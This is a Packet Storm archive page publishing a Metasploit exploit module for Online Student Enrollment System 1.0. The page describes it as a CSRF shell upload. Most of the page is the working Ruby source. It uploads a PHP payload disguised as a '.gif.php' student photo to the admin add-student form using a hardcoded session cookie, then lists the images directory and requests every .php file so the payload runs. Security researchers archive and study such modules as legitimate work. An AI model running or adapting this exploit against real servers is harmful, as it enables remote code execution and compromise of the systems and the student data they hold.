what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Student Enrollment System 1.0 Shell Upload

Online Student Enrollment System 1.0 Shell Upload
Posted Jun 25, 2020
Authored by BKpatron, th3d1gger | Site metasploit.com

This Metasploit module exploits a cross site request forgery vulnerability in Online Student Enrollment System version 1.0 to perform a shell upload.

tags | exploit, shell, csrf
SHA-256 | b6366584b46649d37ada0b665f649825e40650ad568620f751b7363d7e66995e

Online Student Enrollment System 1.0 Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'



class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient



def initialize(info = {})
super(update_info(info,
'Name' => 'Online Student Enrollment System v1.0 Shell Upload ',
'Description' => %q{
This module exploits CSRF Vulnerability on Online Student Enrollment System v1.0.
},
'Author' => [ 'th3d1gger', 'bkpatron' ],

'License' => 'MSF_LICENSE',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('TARGETURI', [ true, 'Student Enrollment System uriPath', '/student_enrollment/'])



], self.class)
end

def targeturi
datastore['TARGETURI']
end




def online_reg





@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php"
php = "<?php #{payload.encoded} ?>"
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alphanumeric(rand(10)+6), nil, nil,'form-data; name="name"')
post_data.add_part(rand(9999).to_s, nil, nil, 'form-data; name="roll"') #rolling in the deep lol
post_data.add_part(rand_text_alphanumeric(rand(9)+6).to_s, nil, nil, 'form-data; name="address"')
post_data.add_part('01'+rand_text_alphanumeric(rand(6)+6).to_s, nil, nil, 'form-data; name="pcontact"')
post_data.add_part('2nd', nil, nil, 'form-data; name="class"')
post_data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"photo\"; filename=\"#{@fname}\"")
post_data.add_part('Add Student', nil, nil, 'form-data; name="addstudent"')

post_datacan = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore["TARGETURI"]+'/admin/index.php?page=add-student'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookies' => 'PHPSESSID=9178c6b337bdcff98de7fa66a8047f3d;',
'data' => post_datacan
})

if res.body.include?('Inserted!')

print_status("backdoor uploaded")
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+datastore['TARGETURI'].to_s+'admin/images/')
http = Net::HTTP.new(uri.host, uri.port)


request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
doc = Nokogiri::HTML(response.body)

# Get all anchors via xpath to find uploaded file
nodeset = doc.xpath('//a')
hrefler = nodeset.map {|element| element["href"]}.compact
hrefler.each { |n|
if n.include?('.php')
#blind execution of payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']+'/admin/images/'+n)

})
end
}

sleep(60)

else
#print res.body
print_status("Upload Failed because of roll duplicate.Try Again!.")
end


end



def exploit
online_reg

if online_reg.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close